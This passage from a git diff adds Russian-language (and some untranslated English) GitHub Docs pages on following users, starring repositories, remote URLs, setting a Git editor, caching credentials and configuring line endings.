пользователя. + + ![Изображение пользователя](/assets/images/help/profile/user-profile-image.png) + +2. Щелкните **Отменить подписку** под изображением профиля. + + ![Кнопка профиля пользователя](/assets/images/help/profile/user-profile-unfollow-button.png) + +## Просмотр пользователей, на которых вы подписаны, в {% data variables.product.product_name %} + +1. Щелкните изображение пользователя, чтобы отобразить профиль этого пользователя. + + ![Изображение пользователя](/assets/images/help/profile/user-profile-image.png) + +2. Щелкните **подписок** под изображением профиля. + + ![Подписки пользователя](/assets/images/help/profile/user-profile-following.png) + +## Просмотр подписчиков в {% data variables.product.product_name %} + +1. Щелкните изображение пользователя, чтобы отобразить профиль этого пользователя. + + ![Изображение пользователя](/assets/images/help/profile/user-profile-image.png) + +2. Щелкните **подписчиков** под изображением профиля. + + ![Подписки пользователя](/assets/images/help/profile/user-profile-followers.png) + + + +{% ifversion fpt or ghec %} +## Дополнительные материалы + +- [Сохранение репозиториев со звездами](/articles/saving-repositories-with-stars/) +- [Способы участия в создании открытого кода в {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github) {% endif %} diff --git a/translations/ru-RU/content/get-started/exploring-projects-on-github/index.md b/translations/ru-RU/content/get-started/exploring-projects-on-github/index.md new file mode 100644 index 000000000000..f9be62835b4b --- /dev/null +++ b/translations/ru-RU/content/get-started/exploring-projects-on-github/index.md @@ -0,0 +1,30 @@ +--- +title: Изучение проектов в GitHub +intro: 'Ознакомьтесь с интересными проектами в {% data variables.product.product_name %} и участвуйте в разработке продуктов с открытым кодом, сотрудничая с другими пользователями.' +redirect_from: + - /categories/stars + - /categories/87/articles + - /categories/exploring-projects-on-github + - /articles/exploring-projects-on-github + - /github/getting-started-with-github/exploring-projects-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Projects +children: + - /finding-ways-to-contribute-to-open-source-on-github + - /saving-repositories-with-stars + - /following-people + - /following-organizations +shortTitle: Explore projects +ms.openlocfilehash: f2f835e68e6146d34691bb21b7ea2b8ff08673ba +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145112075' +--- + diff --git a/translations/ru-RU/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md b/translations/ru-RU/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md new file mode 100644 index 000000000000..9b440bfc1ddd --- /dev/null +++ b/translations/ru-RU/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md @@ -0,0 +1,144 @@ +--- +title: Сохранение репозиториев со звездами +intro: 'Вы можете просматривать репозитории и статьи, чтобы отслеживать интересующие вас проекты{% ifversion fpt or ghec %} и изучать связанное с ними содержимое в веб-канале новостей{% endif %}.' +redirect_from: + - /articles/stars + - /articles/about-stars + - /articles/browsing-friends-stars + - /articles/managing-your-stars + - /articles/saving-repositories-with-stars + - /github/getting-started-with-github/saving-repositories-with-stars + - /github/getting-started-with-github/exploring-projects-on-github/saving-repositories-with-stars +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Save repos with stars +ms.openlocfilehash: 2a5a167884e10f40d5501b3e84ebc158fe2487b3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146374182' +--- +Вы можете выполнять поиск, сортировку и фильтрацию репозиториев и тем со звездами на странице {% data variables.explore.your_stars_page %}. + +## О звездах + +Маркировка с помощью звезды позволяет быстро найти необходимый репозиторий или тему позже. На странице {% data variables.explore.your_stars_page %} вы можете просмотреть все репозитории и темы, которым были поставлены звезды. + +{% ifversion fpt or ghec %} Вы можете отмечать звездами репозитории и темы, чтобы находить похожие проекты в {% data variables.product.product_name %}. Если вы отмечаете звездами репозитории или темы, {% data variables.product.product_name %} может рекомендовать связанное содержимое на личной панели мониторинга. Дополнительные сведения см. в разделах [Способы участия в создании открытого кода в {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github) и [Сведения о личной панели мониторинга](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard#staying-updated-with-activity-from-the-community). +{% endif %} + +Когда вы отмечаете репозиторий звездой, вы также выражаете благодарность за работу владельцу репозитория. Многие из показателей ранжирования репозиториев {% data variables.product.prodname_dotcom %} зависят от числа звезд, которые имеют репозитории. Кроме того, в разделе [Обзор](https://github.com/explore) отображаются популярные репозитории на основе количества звезд, которые у них есть. + +## Установка звезды для репозитория + +Установка звезды для репозитория — это простой процесс, состоящий из двух этапов. + +{% data reusables.repositories.navigate-to-repo %} +1. В правом верхнем углу страницы нажмите **Поставить звезду**. +![Установка звезды для репозитория](/assets/images/help/stars/starring-a-repository.png) +1. При необходимости, чтобы снять звезду для репозитория, которому ранее была поставлена звезда, нажмите **Снять звезду**. +![Снятие звезды для репозитория](/assets/images/help/stars/unstarring-a-repository.png) + +{% ifversion fpt or ghec %} + +## Просмотре сведений о пользователях, которые отметили репозиторий звездочкой + + +Вы можете просмотреть сведения обо всех, кто отметил звездочкой общедоступный или частный репозиторий, к которому у вас есть доступ. + + +Чтобы просмотреть сведения обо всех, кто отметил звездочкой репозиторий, добавьте `/stargazers` в конец URL-адреса репозитория. Например, чтобы просмотреть сведения о пользователях, отметивших звездочкой репозиторий github/docs, откройте страницу https://github.com/github/docs/stargazers. + + +## Упорядочение репозиториев, которым были поставлены звезды, с помощью списков + +{% note %} + +**Примечание.** Списки сейчас доступны в общедоступной бета-версии и могут быть изменены. + +{% endnote %} + +Курируйте репозитории, которым вы поставили звезды, с помощью общедоступных списков. На странице `https://github.com/USERNAME?tab=stars` можно создать общедоступные списки, которые отображаются на вашей странице репозиториев и тем со звездами. + +Если вы добавите в список частный репозиторий, этот репозиторий будет отображаться в списке только для пользователей, имеющих доступ `read` к репозиторию. + +![Снимок экрана: списки на странице репозиториев и тем со звездами](/assets/images/help/stars/lists-overview-on-stars-page.png) + +Вы можете добавить репозиторий в существующий или новый список с помощью раскрывающегося меню **Поставить звезду** или **Со звездами**. Это меню доступно на странице репозитория и в списке репозиториев, которым были поставлены звезды. + +![Снимок экрана: раскрывающееся меню "Поставить звезду" с пунктами списка, указанными на странице репозитория](/assets/images/help/stars/stars-dropdown-on-repo.png) + +![Снимок экрана: раскрывающееся меню "Со звездами" с пунктами списка, указанными в списке репозиториев со звездами](/assets/images/help/stars/add-repo-to-list.png) + +### Создание списка + +{% data reusables.stars.stars-page-navigation %} +2. Нажмите **Создать список** рядом со словом "Списки". + ![Снимок экрана: кнопка "Создать список"](/assets/images/help/stars/create-list.png) +3. Введите имя и описание списка и нажмите кнопку **Создать**. + ![Снимок экрана: модальное окно, в котором необходимо ввести имя и описание и нажать кнопку "Создать".](/assets/images/help/stars/create-list-with-description.png) + +### Добавление репозитория в список + +{% data reusables.stars.stars-page-navigation %} +2. Найдите репозиторий, который вы хотите добавить в список. + ![Снимок экрана: строка поиска репозиториев, которым были поставлены звезды](/assets/images/help/stars/search-bar-for-starred-repos.png) +3. Рядом с репозиторием, который вы хотите добавить, выберите свой список с помощью раскрывающегося меню **Со звездами**. + ![Снимок экрана: раскрывающийся список с флажками для списка](/assets/images/help/stars/add-repo-to-list.png) + +### Удаление репозитория из списка + +{% data reusables.stars.stars-page-navigation %} +2. Выберите список. +3. Рядом с репозиторием, который вы хотите удалить, отмените выбор списка с помощью раскрывающегося меню **Со звездами**. + ![Снимок экрана: раскрывающийся список с флажками для списка](/assets/images/help/stars/add-repo-to-list.png) + +### Изменение имени или описания списка + +{% data reusables.stars.stars-page-navigation %} +1. Выберите список, который требуется изменить. +2. Нажмите **Изменить список**. +3. Обновите имя или описание и нажмите кнопку **Сохранить список**. + ![Снимок экрана: модальное окно с кнопкой "Сохранить список"](/assets/images/help/stars/edit-list-options.png) + +### Удаление списка + +{% data reusables.stars.stars-page-navigation %} +2. Выберите список, который требуется удалить. +3. Нажмите **Удалить список**. + ![Снимок экрана: модальное окно с кнопкой "Удалить список"](/assets/images/help/stars/edit-list-options.png) +4. Нажмите кнопку **Удалить**, чтобы подтвердить операцию. + +{% endif %} + +## Поиск в репозиториях и темах, которым были поставлены звезды + +Для быстрого поиска репозиториев и тем, которым были поставлены звезды, можно использовать панель поиска на странице {% data variables.explore.your_stars_page %}. + +1. Перейдите на страницу {% data variables.explore.your_stars_page %}. +1. Используйте панель поиска, чтобы найти репозитории или темы, которым были поставлены звезды, по имени. +![Поиск по репозиториям и темам, которым были поставлены звезды](/assets/images/help/stars/stars_search_bar.png) + +Панель поиска выполняет поиск только по имени репозитория или темы, а не по другим параметрам (например, размер или время последнего обновления репозитория). + +## Сортировка и фильтрация репозиториев и тем, которым были поставлены звезды, на странице репозиториев и тем со звездами + +Вы можете использовать сортировку или фильтрацию, чтобы настроить отображение репозиториев и тем, которым были поставлены звезды, на странице репозиториев и тем со звездами. + +1. Перейдите на страницу {% data variables.explore.your_stars_page %}. +1. Чтобы отсортировать репозитории и темы со звездами, откройте раскрывающееся меню **Сортировка** и выберите **Недавно помеченные звездами**, **Недавно активные** или **С наибольшим числом звезд**. +![Сортировка репозиториев и тем со звездами](/assets/images/help/stars/stars_sort_menu.png) +1. Чтобы отфильтровать список репозиториев и тем со звездами по языку, щелкните нужный язык в разделе **Фильтрация по языкам**. +![Фильтрация репозиториев и тем со звездами по языку](/assets/images/help/stars/stars_filter_language.png) +1. Чтобы отфильтровать список репозиториев и тем со звездами на основе репозитория или темы, щелкните соответствующий вариант. +![Фильтрация репозиториев и тем со звездами по теме](/assets/images/help/stars/stars_filter_topic.png) + +## Дополнительные материалы + +- [Классификация репозитория с помощью тем](/articles/classifying-your-repository-with-topics) diff --git a/translations/ru-RU/content/get-started/getting-started-with-git/about-remote-repositories.md b/translations/ru-RU/content/get-started/getting-started-with-git/about-remote-repositories.md new file mode 100644 index 000000000000..c1276038d8d1 --- /dev/null +++ b/translations/ru-RU/content/get-started/getting-started-with-git/about-remote-repositories.md @@ -0,0 +1,94 @@ +--- +title: About remote repositories +redirect_from: + - /articles/working-when-github-goes-down + - /articles/sharing-repositories-without-github + - /articles/about-remote-repositories + - /articles/which-url-should-i-use + - /articles/which-remote-url-should-i-use + - /github/using-git/which-remote-url-should-i-use + - /github/using-git/about-remote-repositories + - /github/getting-started-with-github/about-remote-repositories + - /github/getting-started-with-github/getting-started-with-git/about-remote-repositories +intro: 'GitHub''s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.product_name %} for other people to view, fetch, and update.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- +## About remote repositories + +A remote URL is Git's fancy way of saying "the place where your code is stored." That URL could be your repository on GitHub, or another user's fork, or even on a completely different server. + +You can only push to two types of URL addresses: + +* An HTTPS URL like `https://{% data variables.command_line.backticks %}/user/repo.git` +* An SSH URL, like `git@{% data variables.command_line.backticks %}:user/repo.git` + +Git associates a remote URL with a name, and your default remote is usually called `origin`. + +## Creating remote repositories + +You can use the `git remote add` command to match a remote URL with a name. +For example, you'd type the following in the command line: + +```shell +git remote add origin <REMOTE_URL> +``` + +This associates the name `origin` with the `REMOTE_URL`. + +You can use the command `git remote set-url` to [change a remote's URL](/get-started/getting-started-with-git/managing-remote-repositories). + +## Choosing a URL for your remote repository + +There are several ways to clone repositories available on {% data variables.location.product_location %}. + +When you view a repository while signed in to your account, the URLs you can use to clone the project onto your computer are available below the repository details. + +For information on setting or changing your remote URL, see "[Managing remote repositories](/get-started/getting-started-with-git/managing-remote-repositories)." + +## Cloning with HTTPS URLs + +The `https://` clone URLs are available on all repositories, regardless of visibility. `https://` clone URLs work even if you are behind a firewall or proxy. + +When you `git clone`, `git fetch`, `git pull`, or `git push` to a remote repository using HTTPS URLs on the command line, Git will ask for your {% data variables.product.product_name %} username and password. {% data reusables.user-settings.password-authentication-deprecation %} + +{% data reusables.command_line.provide-an-access-token %} + +{% tip %} + +**Tips**: +- You can use a credential helper so Git will remember your {% data variables.product.prodname_dotcom %} credentials every time it talks to {% data variables.product.prodname_dotcom %}. For more information, see "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)." +- To clone a repository without authenticating to {% data variables.product.product_name %} on the command line, you can use {% data variables.product.prodname_desktop %} to clone instead. For more information, see "[Cloning a repository from {% data variables.product.prodname_dotcom %} to {% data variables.product.prodname_dotcom %} Desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)." + +{% endtip %} + + {% ifversion fpt or ghec %}If you'd rather use SSH but cannot connect over port 22, you might be able to use SSH over the HTTPS port. For more information, see "[Using SSH over the HTTPS port](/github/authenticating-to-github/using-ssh-over-the-https-port)."{% endif %} + +## Cloning with SSH URLs + +SSH URLs provide access to a Git repository via SSH, a secure protocol. To use these URLs, you must generate an SSH keypair on your computer and add the **public** key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For more information, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/github/authenticating-to-github/connecting-to-github-with-ssh)." + +When you `git clone`, `git fetch`, `git pull`, or `git push` to a remote repository using SSH URLs, you'll be prompted for a password and must provide your SSH key passphrase. For more information, see "[Working with SSH key passphrases](/github/authenticating-to-github/working-with-ssh-key-passphrases)." + +{% ifversion fpt or ghec %}If you are accessing an organization that uses SAML single sign-on (SSO), you must authorize your SSH key to access the organization before you authenticate. For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %} + +{% tip %} + +**Tip**: You can use an SSH URL to clone a repository to your computer, or as a secure way of deploying your code to production servers. You can also use SSH agent forwarding with your deploy script to avoid managing keys on the server. For more information, see "[Using SSH Agent Forwarding](/developers/overview/using-ssh-agent-forwarding)." + +{% endtip %} + +## Cloning with {% data variables.product.prodname_cli %} + +You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.product_name %} workflows in your terminal. For more information, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)." + +{% ifversion not ghae %} +## Cloning with Subversion + +You can also use a [Subversion](https://subversion.apache.org/) client to access any repository on {% data variables.product.prodname_dotcom %}. Subversion offers a different feature set than Git. For more information, see "[What are the differences between Subversion and Git?](/github/importing-your-projects-to-github/what-are-the-differences-between-subversion-and-git)" + +You can also access repositories on {% data variables.product.prodname_dotcom %} from Subversion clients. For more information, see "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients)." +{% endif %} diff --git a/translations/ru-RU/content/get-started/getting-started-with-git/associating-text-editors-with-git.md b/translations/ru-RU/content/get-started/getting-started-with-git/associating-text-editors-with-git.md new file mode 100644 index 000000000000..da0d6de67993 --- /dev/null +++ b/translations/ru-RU/content/get-started/getting-started-with-git/associating-text-editors-with-git.md @@ -0,0 +1,106 @@ +--- +title: Связывание текстовых редакторов с Git +intro: В текстовом редакторе вы можете открывать и редактировать файлы с использованием GIT. +redirect_from: + - /textmate + - /articles/using-textmate-as-your-default-editor + - /articles/using-sublime-text-2-as-your-default-editor + - /articles/associating-text-editors-with-git + - /github/using-git/associating-text-editors-with-git + - /github/getting-started-with-github/associating-text-editors-with-git + - /github/getting-started-with-github/getting-started-with-git/associating-text-editors-with-git +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Associate text editors +ms.openlocfilehash: b700d2c11771ccebf5a3888d0052892c9f7a3e51 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009223' +--- +{% mac %} + +## Использование {% data variables.product.prodname_vscode %} в качестве редактора + +1. Установите [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %}). Дополнительные сведения см. в разделе [Настройка {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview) в документации по {% data variables.product.prodname_vscode_shortname %}. +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Введите эту команду: + ```shell + $ git config --global core.editor "code --wait" + ``` + +## Использование Sublime Text в качестве редактора + +1. Установите [Sublime Text](https://www.sublimetext.com/). Дополнительные сведения см. в разделе [Установка](https://docs.sublimetext.io/guide/getting-started/installation.html) документации по Sublime Text. +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Введите эту команду: + ```shell + $ git config --global core.editor "subl -n -w" + ``` + +## Использование TextMate в качестве редактора + +1. Установите [TextMate](https://macromates.com/). +2. Установите служебную программу оболочки TextMate `mate`. Дополнительные сведения см. в разделе [`mate` и `rmate`](https://macromates.com/blog/2011/mate-and-rmate/) документации TextMate. +{% data reusables.command_line.open_the_multi_os_terminal %} +4. Введите эту команду: + ```shell + $ git config --global core.editor "mate -w" + ``` +{% endmac %} + +{% windows %} + +## Использование {% data variables.product.prodname_vscode %} в качестве редактора + +1. Установите [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %}). Дополнительные сведения см. в разделе [Настройка {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview) в документации по {% data variables.product.prodname_vscode_shortname %}. +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Введите эту команду: + ```shell + $ git config --global core.editor "code --wait" + ``` + +## Использование Sublime Text в качестве редактора + +1. Установите [Sublime Text](https://www.sublimetext.com/). Дополнительные сведения см. в разделе [Установка](https://docs.sublimetext.io/guide/getting-started/installation.html) документации по Sublime Text. +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Введите эту команду: + ```shell + $ git config --global core.editor "'C:/Program Files (x86)/sublime text 3/subl.exe' -w" + ``` + +## Использование Notepad++ в качестве редактора + +1. Установите Notepad++ со страницы https://notepad-plus-plus.org/. Дополнительные сведения см. в разделе [Приступая к работе](https://npp-user-manual.org/docs/getting-started/) документации по Notepad++. +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Введите эту команду: + ```shell + $ git config --global core.editor "'C:/Program Files (x86)/Notepad++/notepad++.exe' -multiInst -notabbar -nosession -noPlugin" + ``` +{% endwindows %} + +{% linux %} + +## Использование {% data variables.product.prodname_vscode %} в качестве редактора + +1. Установите [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %}). Дополнительные сведения см. в разделе [Настройка {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview) в документации по {% data variables.product.prodname_vscode_shortname %}. +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Введите эту команду: + ```shell + $ git config --global core.editor "code --wait" + ``` + +## Использование Sublime Text в качестве редактора + +1. Установите [Sublime Text](https://www.sublimetext.com/). Дополнительные сведения см. в разделе [Установка](https://docs.sublimetext.io/guide/getting-started/installation.html) документации по Sublime Text. +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Введите эту команду: + ```shell + $ git config --global core.editor "subl -n -w" + ``` + +{% endlinux %} diff --git a/translations/ru-RU/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md b/translations/ru-RU/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md new file mode 100644 index 000000000000..a32b554c10b0 --- /dev/null +++ b/translations/ru-RU/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md @@ -0,0 +1,106 @@ +--- +title: Caching your GitHub credentials in Git +redirect_from: + - /firewalls-and-proxies + - /articles/caching-your-github-password-in-git + - /github/using-git/caching-your-github-password-in-git + - /github/using-git/caching-your-github-credentials-in-git + - /github/getting-started-with-github/caching-your-github-credentials-in-git + - /github/getting-started-with-github/getting-started-with-git/caching-your-github-credentials-in-git +intro: 'If you''re [cloning {% data variables.product.product_name %} repositories using HTTPS](/github/getting-started-with-github/about-remote-repositories), we recommend you use {% data variables.product.prodname_cli %} or Git Credential Manager (GCM) to remember your credentials.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Caching credentials +--- + +{% tip %} + +**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you can authenticate using an SSH key instead of using other credentials. For information about setting up an SSH connection, see "[Generating an SSH Key](/articles/generating-an-ssh-key)." + +{% endtip %} + +## {% data variables.product.prodname_cli %} + +{% data variables.product.prodname_cli %} will automatically store your Git credentials for you when you choose `HTTPS` as your preferred protocol for Git operations and answer "yes" to the prompt asking if you would like to authenticate to Git with your {% data variables.product.product_name %} credentials. + +1. [Install](https://github.com/cli/cli#installation) {% data variables.product.prodname_cli %} on macOS, Windows, or Linux. +2. In the command line, enter `gh auth login`, then follow the prompts. + - When prompted for your preferred protocol for Git operations, select `HTTPS`. + - When asked if you would like to authenticate to Git with your {% data variables.product.product_name %} credentials, enter `Y`. + +For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). + +## Git Credential Manager + +[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager) (GCM) is another way to store your credentials securely and connect to GitHub over HTTPS. With GCM, you don't have to manually [create and store a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token), as GCM manages authentication on your behalf, including 2FA (two-factor authentication). + +{% mac %} + +1. Install Git using [Homebrew](https://brew.sh/): + ```shell + $ brew install git + ``` + +2. Install GCM using Homebrew: + ```shell + $ brew tap microsoft/git + $ brew install --cask git-credential-manager-core + ``` + For MacOS, you don't need to run `git config` because GCM automatically configures Git for you. + +{% data reusables.gcm-core.next-time-you-clone %} + +Once you've authenticated successfully, your credentials are stored in the macOS keychain and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials. + +{% endmac %} + +{% windows %} + +1. Install Git for Windows, which includes GCM. For more information, see "[Git for Windows releases](https://github.com/git-for-windows/git/releases/latest)" from its [releases page](https://github.com/git-for-windows/git/releases/latest). + +We recommend always installing the latest version. At a minimum, install version 2.29 or higher, which is the first version offering OAuth support for GitHub. + +{% data reusables.gcm-core.next-time-you-clone %} + +Once you've authenticated successfully, your credentials are stored in the Windows credential manager and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials. + +<br> + +{% warning %} + +**Warning:** Older versions of Git for Windows came with Git Credential Manager for Windows. This older product is no longer supported and cannot connect to GitHub via OAuth. We recommend you upgrade to [the latest version of Git for Windows](https://github.com/git-for-windows/git/releases/latest). + +{% endwarning %} + +{% warning %} + +**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it. + +{% endwarning %} + +{% endwindows %} + +{% linux %} + +For Linux, install Git and GCM, then configure Git to use GCM. + +1. Install Git from your distro's packaging system. Instructions will vary depending on the flavor of Linux you run. + +2. Install GCM. See the [instructions in the GCM repo](https://github.com/GitCredentialManager/git-credential-manager#linux-install-instructions), as they'll vary depending on the flavor of Linux you run. + +3. Configure Git to use GCM. There are several backing stores that you may choose from, so see the GCM docs to complete your setup. For more information, see "[GCM Linux](https://aka.ms/gcmcore-linuxcredstores)." + +{% data reusables.gcm-core.next-time-you-clone %} + +Once you've authenticated successfully, your credentials are stored on your system and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials. + +For more options for storing your credentials on Linux, see [Credential Storage](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) in Pro Git. + +{% endlinux %} + +<br> + +For more information or to report issues with GCM, see the official GCM docs at "[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager)." diff --git a/translations/ru-RU/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md b/translations/ru-RU/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md new file mode 100644 index 000000000000..416328156835 --- /dev/null +++ b/translations/ru-RU/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md @@ -0,0 +1,141 @@ +--- +title: Настройка Git для обработки окончаний строк +intro: 'Чтобы избежать проблем в объектах diff, можно настроить Git для правильной обработки окончаний строк.' +redirect_from: + - /dealing-with-lineendings + - /line-endings + - /articles/dealing-with-line-endings + - /articles/configuring-git-to-handle-line-endings + - /github/using-git/configuring-git-to-handle-line-endings + - /github/getting-started-with-github/configuring-git-to-handle-line-endings + - /github/getting-started-with-github/getting-started-with-git/configuring-git-to-handle-line-endings +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Handle line endings +ms.openlocfilehash: 4aa89f244e45da6905d6d5348c84faf8d5e6418c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884208' +--- +## Сведения об окончаниях строк +Каждый раз, когда вы нажимаете клавишу <kbd>ВВОД</kbd> на клавиатуре, вы вставляете в строку невидимый символ, называемый окончанием строки. Разные операционные системы обрабатывают окончания строк по-разному. + +При совместной работе над проектами в Git и {% data variables.product.product_name %} Git может выдавать непредвиденные результаты, например, если вы работаете на компьютере Windows, а ваш коллега внес изменение в macOS. + +Чтобы эффективно взаимодействовать с пользователями, использующими разные операционные системы, вы можете настроить обработку окончаний строк в Git. + +## Глобальные параметры для окончаний строк + +Команда `git config core.autocrlf` используется для изменения способа обработки окончаний строк в Git. Она принимает один аргумент. + +{% mac %} + +В macOS вы просто передаете в конфигурацию параметр `input`. Пример: + +```shell +$ git config --global core.autocrlf input +# Configure Git to ensure line endings in files you checkout are correct for macOS +``` + +{% endmac %} + +{% windows %} + +В Windows вы просто передаете в конфигурацию параметр `true`. Пример: + +```shell +$ git config --global core.autocrlf true +# Configure Git to ensure line endings in files you checkout are correct for Windows. +# For compatibility, line endings are converted to Unix style when you commit files. +``` + +{% endwindows %} + +{% linux %} + +В Linux вы просто передаете в конфигурацию параметр `input`. Например: + +```shell +$ git config --global core.autocrlf input +# Configure Git to ensure line endings in files you checkout are correct for Linux +``` + +{% endlinux %} + +## Параметры для отдельных репозиториев + +При необходимости можно настроить файл *.gitattributes*, чтобы управлять тем, как Git считывает окончания строк в определенном репозитории. При фиксации этого файла в репозитории Git переопределяет параметр `core.autocrlf` для всех участников репозитория. Это гарантирует согласованное поведение для всех пользователей независимо от параметров и среды Git. + +Файл *.gitattributes* должен быть создан в корне репозитория и зафиксирован так же, как и любой другой файл. + +Файл *.gitattributes* представляет собой таблицу с двумя столбцами: + +* В левом столбце содержатся имена файлов Git для сопоставления. +* В правом столбце содержатся конфигурации окончаний строк, которые Git должен использовать для соответствующих файлов. + +### Пример + +Ниже приведен пример файла *.gitattributes*. Его можно использовать в качестве шаблона для ваших репозиториев: + +``` +# Set the default behavior, in case people don't have core.autocrlf set. +* text=auto + +# Explicitly declare text files you want to always be normalized and converted +# to native line endings on checkout. +*.c text +*.h text + +# Declare files that will always have CRLF line endings on checkout. +*.sln text eol=crlf + +# Denote all files that are truly binary and should not be modified. +*.png binary +*.jpg binary +``` + +Вы видите типы сопоставляемых файлов, разделенные пробелами (`*.c`, `*.sln`, `*.png`), после которых указывается параметр — `text`, `text eol=crlf`, `binary`. Мы рассмотрим некоторые возможные параметры ниже. + +- `text=auto` Git будет обрабатывать файлы наилучшим образом. Это хороший вариант по умолчанию. + +- `text eol=crlf` Git будет всегда преобразовывать окончания строк в `CRLF` при извлечении. Этот вариант следует использовать для файлов, которые должны поддерживать окончания `CRLF`, даже в OSX или Linux. + +- `text eol=lf` Git будет всегда преобразовывать окончания строк в `LF` при извлечении. Этот вариант следует использовать для файлов, которые должны поддерживать окончания LF, даже в Windows. + +- `binary` Git поймет, что указанные файлы не являются текстом и изменять их не следует. Параметр `binary` также является псевдонимом для `-text -diff`. + +## Обновление репозитория после изменения окончаний строк + +Если задать параметр `core.autocrlf` или зафиксировать файл *.gitattributes*, можно обнаружить, что Git сообщает об изменениях в файлах, которые вы не выполняли. Git изменил окончания строк в соответствии с новой конфигурацией. + +Чтобы все окончания строк в репозитории соответствовали новой конфигурации, создайте резервную копию файлов с помощью Git, удалите все файлы в репозитории (кроме каталога `.git`), а затем восстановите все файлы одновременно. + +1. Сохраните текущие файлы в Git, чтобы ваши изменения не были потеряны. + ```shell + $ git add . -u + $ git commit -m "Saving files before refreshing line endings" + ``` +2. Добавьте все измененные файлы обратно и нормализуйте окончания строк. + ```shell + $ git add --renormalize . + ``` +3. Откройте перезаписанные, нормализованные файлы. + ```shell + $ git status + ``` +4. Зафиксируйте изменения в репозитории. + ```shell + $ git commit -m "Normalize all the line endings" + ``` + +## Дополнительные материалы + +- [Настройка Git — атрибуты Git](https://git-scm.com/book/en/Customizing-Git-Git-Attributes) в книге Pro Git +- [git-config](https://git-scm.com/docs/git-config) на страницах руководств для Git +- [Начало работы — первая настройка Git](https://git-scm.com/book/en/Getting-Started-First-Time-Git-Setup) в книге Pro Git +- [Учитывайте окончания строк](http://adaptivepatchwork.com/2012/03/01/mind-the-end-of-your-line/), автор: [Тим Клем](https://github.com/tclem) diff --git a/translations/ru-RU/content/get-started/getting-started-with-git/git-workflows.md 